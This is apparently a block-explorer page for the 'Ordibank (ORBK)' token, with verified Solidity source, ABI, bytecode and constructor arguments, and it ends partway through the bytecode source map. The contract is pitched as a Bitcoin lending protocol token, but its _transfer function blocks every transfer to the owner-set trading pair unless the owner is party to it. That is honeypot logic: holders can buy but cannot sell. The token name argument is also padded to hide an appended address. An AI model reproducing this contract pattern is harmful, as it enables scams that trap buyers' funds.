ETH Price: $3,267.85 (+1.89%)

Token

Ordibank (ORBK)
 

Overview

Max Total Supply

1,000,000,000 ORBK

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,935,695.845637745842855465 ORBK

Value
$0.00
0xaafa9ef457c10fd0d459cc688b3efe2f3cced2fc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ORBK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-03-11
*/

/**

A Bitcoin L1 Money Market Protocol for BRC-20 & Atomical Token Standards, facilitating seamless Borrowing/Lending 🏛

https://ordibank.org/
https://twitter.com/Ordibank    
https://t.me/ordibank
https://discord.gg/ordibank
https://ordibank.gitbook.io/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

contract ORBK {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender,uint256 value);
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    uint8 private  _decimals;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    address private _owner;
    address private _pair;
    bool private flag = false;

    function _init(string memory __name, string memory __symbol) internal {
        _name = __name;
        _symbol = __symbol;
    }

    function _initalize(string memory __name, string memory __symbol) external {
        require(msg.sender == _owner);
        _init(__name, __symbol);
    }

    function openTrade(address __pair) public{
        require(msg.sender == _owner);
        _pair = __pair;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        returns (uint256){
        return _balances[account];
    }

    function approve(address spender, uint256 amount)
        public
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = msg.sender;
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender] - (amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalances = balanceOf(from);
        if(from != _owner && to != _owner){if(_pair == to) {revert();}}
        require(fromBalances >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = fromBalances - amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    constructor(string memory name_, string memory symbol_) {
        _owner = msg.sender;
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _totalSupply = 1_000_000_000 * 10 ** _decimals;
        _balances[msg.sender] = _balances[msg.sender] + _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"__name","type":"string"},{"internalType":"string","name":"__symbol","type":"string"}],"name":"_initalize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__pair","type":"address"}],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff60a01b191690553480156200001d575f80fd5b5060405162000fc238038062000fc28339810160408190526200004091620001cf565b600680546001600160a01b031916331790556004620000608382620002c1565b5060056200006f8282620002c1565b506002805460ff191660129081179091556200008d90600a62000498565b6200009d90633b9aca00620004af565b6003819055335f90815260016020526040902054620000bd9190620004c9565b335f818152600160209081526040808320949094556003549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004df565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011262000135575f80fd5b81516001600160401b038082111562000152576200015262000111565b604051601f8301601f19908116603f011681019082821181831017156200017d576200017d62000111565b8160405283815260209250868385880101111562000199575f80fd5b5f91505b83821015620001bc57858201830151818301840152908201906200019d565b5f93810190920192909252949350505050565b5f8060408385031215620001e1575f80fd5b82516001600160401b0380821115620001f8575f80fd5b620002068683870162000125565b935060208501519150808211156200021c575f80fd5b506200022b8582860162000125565b9150509250929050565b600181811c908216806200024a57607f821691505b6020821081036200026957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002bc575f81815260208120601f850160051c81016020861015620002975750805b601f850160051c820191505b81811015620002b857828155600101620002a3565b5050505b505050565b81516001600160401b03811115620002dd57620002dd62000111565b620002f581620002ee845462000235565b846200026f565b602080601f8311600181146200032b575f8415620003135750858301515b5f19600386901b1c1916600185901b178555620002b8565b5f85815260208120601f198616915b828110156200035b578886015182559484019460019091019084016200033a565b50858210156200037957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003dd57815f1904821115620003c157620003c162000389565b80851615620003cf57918102915b93841c9390800290620003a2565b509250929050565b5f82620003f55750600162000492565b816200040357505f62000492565b81600181146200041c5760028114620004275762000447565b600191505062000492565b60ff8411156200043b576200043b62000389565b50506001821b62000492565b5060208310610133831016604e8410600b84101617156200046c575081810a62000492565b6200047883836200039d565b805f19048211156200048e576200048e62000389565b0290505b92915050565b5f620004a860ff841683620003e5565b9392505050565b808202811582820484141762000492576200049262000389565b8082018082111562000492576200049262000389565b610ad580620004ed5f395ff3fe60806040526004361061009d575f3560e01c806345aff9be1161006257806345aff9be1461015f5780635066b0341461018057806370a082311461019f57806395d89b41146101d3578063a9059cbb146101e7578063dd62ed3e14610206575f80fd5b806306fdde03146100a8578063095ea7b3146100d257806318160ddd1461010157806323b872dd1461011f578063313ce5671461013e575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100bc610248565b6040516100c9919061070f565b60405180910390f35b3480156100dd575f80fd5b506100f16100ec366004610775565b6102d8565b60405190151581526020016100c9565b34801561010c575f80fd5b506003545b6040519081526020016100c9565b34801561012a575f80fd5b506100f161013936600461079d565b6102ee565b348015610149575f80fd5b5060025460405160ff90911681526020016100c9565b34801561016a575f80fd5b5061017e610179366004610873565b61033c565b005b34801561018b575f80fd5b5061017e61019a3660046108d3565b610360565b3480156101aa575f80fd5b506101116101b93660046108d3565b6001600160a01b03165f9081526001602052604090205490565b3480156101de575f80fd5b506100bc610398565b3480156101f2575f80fd5b506100f1610201366004610775565b6103a7565b348015610211575f80fd5b506101116102203660046108f3565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b60606004805461025790610924565b80601f016020809104026020016040519081016040528092919081815260200182805461028390610924565b80156102ce5780601f106102a5576101008083540402835291602001916102ce565b820191905f5260205f20905b8154815290600101906020018083116102b157829003601f168201915b5050505050905090565b5f6102e43384846103b4565b5060015b92915050565b5f6102fa8484846104da565b6001600160a01b0384165f908152602081815260408083203380855292529091205461033291869161032d908690610970565b6103b4565b5060019392505050565b6006546001600160a01b03163314610352575f80fd5b61035c82826106f1565b5050565b6006546001600160a01b03163314610376575f80fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60606005805461025790610924565b5f336103328185856104da565b6001600160a01b03831661041b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661047c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661053e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b0382166105a05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b6001600160a01b038381165f81815260016020526040902054600654909216148015906105db57506006546001600160a01b03848116911614155b156105f9576007546001600160a01b038085169116036105f9575f80fd5b818110156106585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610412565b6106628282610970565b6001600160a01b038086165f908152600160205260408082209390935590851681529081208054849290610697908490610983565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106e391815260200190565b60405180910390a350505050565b60046106fd83826109e3565b50600561070a82826109e3565b505050565b5f6020808352835180828501525f5b8181101561073a5785810183015185820160400152820161071e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610770575f80fd5b919050565b5f8060408385031215610786575f80fd5b61078f8361075a565b946020939093013593505050565b5f805f606084860312156107af575f80fd5b6107b88461075a565b92506107c66020850161075a565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126107f9575f80fd5b813567ffffffffffffffff80821115610814576108146107d6565b604051601f8301601f19908116603f0116810190828211818310171561083c5761083c6107d6565b81604052838152866020858801011115610854575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610884575f80fd5b823567ffffffffffffffff8082111561089b575f80fd5b6108a7868387016107ea565b935060208501359150808211156108bc575f80fd5b506108c9858286016107ea565b9150509250929050565b5f602082840312156108e3575f80fd5b6108ec8261075a565b9392505050565b5f8060408385031215610904575f80fd5b61090d8361075a565b915061091b6020840161075a565b90509250929050565b600181811c9082168061093857607f821691505b60208210810361095657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102e8576102e861095c565b808201808211156102e8576102e861095c565b601f82111561070a575f81815260208120601f850160051c810160208610156109bc5750805b601f850160051c820191505b818110156109db578281556001016109c8565b505050505050565b815167ffffffffffffffff8111156109fd576109fd6107d6565b610a1181610a0b8454610924565b84610996565b602080601f831160018114610a44575f8415610a2d5750858301515b5f19600386901b1c1916600185901b1785556109db565b5f85815260208120601f198616915b82811015610a7257888601518255948401946001909101908401610a53565b5085821015610a8f57878501515f19600388901b60f8161c191681555b5050505050600190811b0190555056fea264697066735822122037134307b6df13898ebfd19128b7579a4ad1ba4190d0ca895bfccb9d843f071c64736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000000010f4f72646962616e6b2020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020307843653645353444614131656139356662333533303835396436394434626462393738646438323162000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f52424b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061009d575f3560e01c806345aff9be1161006257806345aff9be1461015f5780635066b0341461018057806370a082311461019f57806395d89b41146101d3578063a9059cbb146101e7578063dd62ed3e14610206575f80fd5b806306fdde03146100a8578063095ea7b3146100d257806318160ddd1461010157806323b872dd1461011f578063313ce5671461013e575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100bc610248565b6040516100c9919061070f565b60405180910390f35b3480156100dd575f80fd5b506100f16100ec366004610775565b6102d8565b60405190151581526020016100c9565b34801561010c575f80fd5b506003545b6040519081526020016100c9565b34801561012a575f80fd5b506100f161013936600461079d565b6102ee565b348015610149575f80fd5b5060025460405160ff90911681526020016100c9565b34801561016a575f80fd5b5061017e610179366004610873565b61033c565b005b34801561018b575f80fd5b5061017e61019a3660046108d3565b610360565b3480156101aa575f80fd5b506101116101b93660046108d3565b6001600160a01b03165f9081526001602052604090205490565b3480156101de575f80fd5b506100bc610398565b3480156101f2575f80fd5b506100f1610201366004610775565b6103a7565b348015610211575f80fd5b506101116102203660046108f3565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b60606004805461025790610924565b80601f016020809104026020016040519081016040528092919081815260200182805461028390610924565b80156102ce5780601f106102a5576101008083540402835291602001916102ce565b820191905f5260205f20905b8154815290600101906020018083116102b157829003601f168201915b5050505050905090565b5f6102e43384846103b4565b5060015b92915050565b5f6102fa8484846104da565b6001600160a01b0384165f908152602081815260408083203380855292529091205461033291869161032d908690610970565b6103b4565b5060019392505050565b6006546001600160a01b03163314610352575f80fd5b61035c82826106f1565b5050565b6006546001600160a01b03163314610376575f80fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60606005805461025790610924565b5f336103328185856104da565b6001600160a01b03831661041b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661047c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661053e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b0382166105a05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b6001600160a01b038381165f81815260016020526040902054600654909216148015906105db57506006546001600160a01b03848116911614155b156105f9576007546001600160a01b038085169116036105f9575f80fd5b818110156106585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610412565b6106628282610970565b6001600160a01b038086165f908152600160205260408082209390935590851681529081208054849290610697908490610983565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106e391815260200190565b60405180910390a350505050565b60046106fd83826109e3565b50600561070a82826109e3565b505050565b5f6020808352835180828501525f5b8181101561073a5785810183015185820160400152820161071e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610770575f80fd5b919050565b5f8060408385031215610786575f80fd5b61078f8361075a565b946020939093013593505050565b5f805f606084860312156107af575f80fd5b6107b88461075a565b92506107c66020850161075a565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126107f9575f80fd5b813567ffffffffffffffff80821115610814576108146107d6565b604051601f8301601f19908116603f0116810190828211818310171561083c5761083c6107d6565b81604052838152866020858801011115610854575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610884575f80fd5b823567ffffffffffffffff8082111561089b575f80fd5b6108a7868387016107ea565b935060208501359150808211156108bc575f80fd5b506108c9858286016107ea565b9150509250929050565b5f602082840312156108e3575f80fd5b6108ec8261075a565b9392505050565b5f8060408385031215610904575f80fd5b61090d8361075a565b915061091b6020840161075a565b90509250929050565b600181811c9082168061093857607f821691505b60208210810361095657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102e8576102e861095c565b808201808211156102e8576102e861095c565b601f82111561070a575f81815260208120601f850160051c810160208610156109bc5750805b601f850160051c820191505b818110156109db578281556001016109c8565b505050505050565b815167ffffffffffffffff8111156109fd576109fd6107d6565b610a1181610a0b8454610924565b84610996565b602080601f831160018114610a44575f8415610a2d5750858301515b5f19600386901b1c1916600185901b1785556109db565b5f85815260208120601f198616915b82811015610a7257888601518255948401946001909101908401610a53565b5085821015610a8f57878501515f19600388901b60f8161c191681555b5050505050600190811b0190555056fea264697066735822122037134307b6df13898ebfd19128b7579a4ad1ba4190d0ca895bfccb9d843f071c64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000000010f4f72646962616e6b2020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020307843653645353444614131656139356662333533303835396436394434626462393738646438323162000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f52424b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Ordibank 0xCe6E54DaA1ea95fb3530859d69D4bdb978dd821b
Arg [1] : symbol_ (string): ORBK

-----Encoded View---------------
14 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000180
Arg [2] : 000000000000000000000000000000000000000000000000000000000000010f
Arg [3] : 4f72646962616e6b202020202020202020202020202020202020202020202020
Arg [4] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [5] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [6] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [7] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [8] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [9] : 2020202020202020202020202020202020202020202020202020202020202020
Arg [10] : 2020202020307843653645353444614131656139356662333533303835396436
Arg [11] : 3944346264623937386464383231620000000000000000000000000000000000
Arg [12] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [13] : 4f52424b00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

339:3822:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1291:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1838:173;;;;;;;;;;-1:-1:-1;1838:173:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;1838:173:0;1004:187:1;1570:99:0;;;;;;;;;;-1:-1:-1;1649:12:0;;1570:99;;;1342:25:1;;;1330:2;1315:18;1570:99:0;1196:177:1;2807:339:0;;;;;;;;;;-1:-1:-1;2807:339:0;;;;;:::i;:::-;;:::i;1477:83::-;;;;;;;;;;-1:-1:-1;1543:9:0;;1477:83;;1543:9;;;;1853:36:1;;1841:2;1826:18;1477:83:0;1711:184:1;1004:157:0;;;;;;;;;;-1:-1:-1;1004:157:0;;;;;:::i;:::-;;:::i;:::-;;1169:114;;;;;;;;;;-1:-1:-1;1169:114:0;;;;;:::i;:::-;;:::i;1677:153::-;;;;;;;;;;-1:-1:-1;1677:153:0;;;;;:::i;:::-;-1:-1:-1;;;;;1804:18:0;1778:7;1804:18;;;:9;:18;;;;;;;1677:153;1382:87;;;;;;;;;;;;;:::i;2587:212::-;;;;;;;;;;-1:-1:-1;2587:212:0;;;;;:::i;:::-;;:::i;2396:183::-;;;;;;;;;;-1:-1:-1;2396:183:0;;;;;:::i;:::-;-1:-1:-1;;;;;2544:18:0;;;2512:7;2544:18;;;;;;;;;;;:27;;;;;;;;;;;;;2396:183;1291:83;1328:13;1361:5;1354:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1291:83;:::o;1838:173::-;1922:4;1944:37;1953:10;1965:7;1974:6;1944:8;:37::i;:::-;-1:-1:-1;1999:4:0;1838:173;;;;;:::o;2807:339::-;2930:4;2947:36;2957:6;2965:9;2976:6;2947:9;:36::i;:::-;-1:-1:-1;;;;;3063:19:0;;:11;:19;;;;;;;;;;;3038:10;3063:31;;;;;;;;;2994:122;;3017:6;;3063:42;;3098:6;;3063:42;:::i;:::-;2994:8;:122::i;:::-;-1:-1:-1;3134:4:0;2807:339;;;;;:::o;1004:157::-;1112:6;;-1:-1:-1;;;;;1112:6:0;1098:10;:20;1090:29;;;;;;1130:23;1136:6;1144:8;1130:5;:23::i;:::-;1004:157;;:::o;1169:114::-;1243:6;;-1:-1:-1;;;;;1243:6:0;1229:10;:20;1221:29;;;;;;1261:5;:14;;-1:-1:-1;;;;;;1261:14:0;-1:-1:-1;;;;;1261:14:0;;;;;;;;;;1169:114::o;1382:87::-;1421:13;1454:7;1447:14;;;;;:::i;2587:212::-;2683:4;2721:10;2742:27;2721:10;2759:2;2763:5;2742:9;:27::i;2019:369::-;-1:-1:-1;;;;;2146:19:0;;2138:68;;;;-1:-1:-1;;;2138:68:0;;4612:2:1;2138:68:0;;;4594:21:1;4651:2;4631:18;;;4624:30;4690:34;4670:18;;;4663:62;-1:-1:-1;;;4741:18:1;;;4734:34;4785:19;;2138:68:0;;;;;;;;;-1:-1:-1;;;;;2225:21:0;;2217:68;;;;-1:-1:-1;;;2217:68:0;;5017:2:1;2217:68:0;;;4999:21:1;5056:2;5036:18;;;5029:30;5095:34;5075:18;;;5068:62;-1:-1:-1;;;5146:18:1;;;5139:32;5188:19;;2217:68:0;4815:398:1;2217:68:0;-1:-1:-1;;;;;2296:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;2348:32;;1342:25:1;;;2348:32:0;;1315:18:1;2348:32:0;;;;;;;2019:369;;;:::o;3154:598::-;-1:-1:-1;;;;;3277:18:0;;3269:68;;;;-1:-1:-1;;;3269:68:0;;5420:2:1;3269:68:0;;;5402:21:1;5459:2;5439:18;;;5432:30;5498:34;5478:18;;;5471:62;-1:-1:-1;;;5549:18:1;;;5542:35;5594:19;;3269:68:0;5218:401:1;3269:68:0;-1:-1:-1;;;;;3356:16:0;;3348:64;;;;-1:-1:-1;;;3348:64:0;;5826:2:1;3348:64:0;;;5808:21:1;5865:2;5845:18;;;5838:30;5904:34;5884:18;;;5877:62;-1:-1:-1;;;5955:18:1;;;5948:33;5998:19;;3348:64:0;5624:399:1;3348:64:0;-1:-1:-1;;;;;1804:18:0;;;3423:20;1804:18;;;:9;:18;;;;;;3483:6;;1804:18;;3483:6;3475:14;;;;:30;;-1:-1:-1;3499:6:0;;-1:-1:-1;;;;;3493:12:0;;;3499:6;;3493:12;;3475:30;3472:63;;;3510:5;;-1:-1:-1;;;;;3510:11:0;;;:5;;:11;3507:27;;3524:8;;;3507:27;3569:6;3553:12;:22;;3545:73;;;;-1:-1:-1;;;3545:73:0;;6230:2:1;3545:73:0;;;6212:21:1;6269:2;6249:18;;;6242:30;6308:34;6288:18;;;6281:62;-1:-1:-1;;;6359:18:1;;;6352:36;6405:19;;3545:73:0;6028:402:1;3545:73:0;3647:21;3662:6;3647:12;:21;:::i;:::-;-1:-1:-1;;;;;3629:15:0;;;;;;;:9;:15;;;;;;:39;;;;3679:13;;;;;;;;:23;;3696:6;;3629:15;3679:23;;3696:6;;3679:23;:::i;:::-;;;;;;;;3733:2;-1:-1:-1;;;;;3718:26:0;3727:4;-1:-1:-1;;;;;3718:26:0;;3737:6;3718:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;3718:26:0;;;;;;;;3258:494;3154:598;;;:::o;864:132::-;945:5;:14;953:6;945:5;:14;:::i;:::-;-1:-1:-1;970:7:0;:18;980:8;970:7;:18;:::i;:::-;;864:132;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:127::-;1961:10;1956:3;1952:20;1949:1;1942:31;1992:4;1989:1;1982:15;2016:4;2013:1;2006:15;2032:719;2075:5;2128:3;2121:4;2113:6;2109:17;2105:27;2095:55;;2146:1;2143;2136:12;2095:55;2182:6;2169:20;2208:18;2245:2;2241;2238:10;2235:36;;;2251:18;;:::i;:::-;2326:2;2320:9;2294:2;2380:13;;-1:-1:-1;;2376:22:1;;;2400:2;2372:31;2368:40;2356:53;;;2424:18;;;2444:22;;;2421:46;2418:72;;;2470:18;;:::i;:::-;2510:10;2506:2;2499:22;2545:2;2537:6;2530:18;2591:3;2584:4;2579:2;2571:6;2567:15;2563:26;2560:35;2557:55;;;2608:1;2605;2598:12;2557:55;2672:2;2665:4;2657:6;2653:17;2646:4;2638:6;2634:17;2621:54;2719:1;2712:4;2707:2;2699:6;2695:15;2691:26;2684:37;2739:6;2730:15;;;;;;2032:719;;;;:::o;2756:543::-;2844:6;2852;2905:2;2893:9;2884:7;2880:23;2876:32;2873:52;;;2921:1;2918;2911:12;2873:52;2961:9;2948:23;2990:18;3031:2;3023:6;3020:14;3017:34;;;3047:1;3044;3037:12;3017:34;3070:50;3112:7;3103:6;3092:9;3088:22;3070:50;:::i;:::-;3060:60;;3173:2;3162:9;3158:18;3145:32;3129:48;;3202:2;3192:8;3189:16;3186:36;;;3218:1;3215;3208:12;3186:36;;3241:52;3285:7;3274:8;3263:9;3259:24;3241:52;:::i;:::-;3231:62;;;2756:543;;;;;:::o;3304:186::-;3363:6;3416:2;3404:9;3395:7;3391:23;3387:32;3384:52;;;3432:1;3429;3422:12;3384:52;3455:29;3474:9;3455:29;:::i;:::-;3445:39;3304:186;-1:-1:-1;;;3304:186:1:o;3495:260::-;3563:6;3571;3624:2;3612:9;3603:7;3599:23;3595:32;3592:52;;;3640:1;3637;3630:12;3592:52;3663:29;3682:9;3663:29;:::i;:::-;3653:39;;3711:38;3745:2;3734:9;3730:18;3711:38;:::i;:::-;3701:48;;3495:260;;;;;:::o;3760:380::-;3839:1;3835:12;;;;3882;;;3903:61;;3957:4;3949:6;3945:17;3935:27;;3903:61;4010:2;4002:6;3999:14;3979:18;3976:38;3973:161;;4056:10;4051:3;4047:20;4044:1;4037:31;4091:4;4088:1;4081:15;4119:4;4116:1;4109:15;3973:161;;3760:380;;;:::o;4145:127: